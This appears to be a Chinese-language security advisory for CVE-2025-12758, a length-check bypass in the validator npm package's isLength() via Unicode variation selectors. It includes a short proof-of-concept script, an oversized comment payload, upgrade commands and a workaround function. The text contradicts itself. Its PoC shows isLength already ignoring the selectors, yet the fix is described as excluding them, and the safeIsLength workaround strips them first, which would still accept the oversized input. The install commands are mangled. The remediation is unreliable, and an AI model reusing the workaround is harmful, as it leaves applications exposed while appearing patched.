CVE ID: CVE-2025-12758
CVSS 评分: 8.7(高危)
严重性: 高危
CWE: CWE-792(对一个或多个特殊元素实例的过滤不完整)
发布日期: 2025年11月26日
披露日期: 2025年10月19日
此漏洞影响 validator npm 包版本 < 13.15.22。isLength() 函数在计算字符串长度时未考虑 Unicode 变体选择符(\uFE0F、\uFE0E),从而导致输入验证不当。
使用 isLength() 进行输入验证的应用程序可能接受远超预期长度的字符串,从而可能导致:
isLength() 函数在计算字符串长度时未能正确过滤 Unicode 变体选择符。这些特殊字符(组合标记)不应计入字符串的可视长度,但会被计入 JavaScript 的 String.length 属性。
npm install [email protected]
node poc.js
该 POC 通过测试 isLength() 函数来演示此漏洞:
const validator = require('validator');
// Normal "test" string - correctly rejected
console.log(`Is "test" (String.length: ${'test'.length}) length ≤ 3? ${validator.isLength('test', { max: 3 })}`);
// Output: Is "test" (String.length: 4) length ≤ 3? false
// Normal "test" string - correctly accepted
console.log(`Is "test" (String.length: ${'test'.length}) length ≤ 4? ${validator.isLength('test', { max: 4 })}`);
// Output: Is "test" (String.length: 4) length ≤ 4? true
// "test" with 4 variation selectors - INCORRECTLY accepted
console.log(`Is "test️️️️" (String.length: ${'test\uFE0F\uFE0F\uFE0F\uFE0F'.length}) length ≤ 4? ${validator.isLength('test\uFE0F\uFE0F\uFE0F\uFE0F', { max: 4 })}`);
// Output: Is "test️️️️" (String.length: 8) length ≤ 4? true ⚠️ VULNERABLE!
Is "test" (String.length: 4) length less than or equal to 3? false
Is "test" (String.length: 4) length less than or equal to 4? true
Is "test️️️️" (String.length: 8) length less than or equal to 4? true
第三个输出演示了此漏洞:一个实际长度为 8 的字符串通过了最大长度为 4 的验证检查。
应用程序可能会实现用户评论验证:
const MAX_COMMENT_LENGTH = 100;
function validateComment(comment) {
return validator.isLength(comment, { max: MAX_COMMENT_LENGTH });
}
const maliciousInput = 'a'.repeat(50) + '\uFE0F'.repeat(100);
// Actual length: 150 characters
// validator.isLength() incorrectly returns: true ❌
// Database accepts malicious payload ⚠️
npm install [email protected]
已修补的版本会将 Unicode 变体选择符排除在长度计算之外,从而正确处理它们。
如果无法立即升级,请实现自定义长度验证:
function safeIsLength(str, options = {}) {
// Remove Unicode variation selectors before validation
const cleanStr = str.replace(/[\uFE0E\uFE0F]/g, '');
return validator.isLength(cleanStr, options);
}
检查您的应用程序是否存在漏洞:
npm audit --audit-level=high
查找版本号 < 13.15.22 的 validator 包。
漏洞发现者:Karol Wrótniak
ISC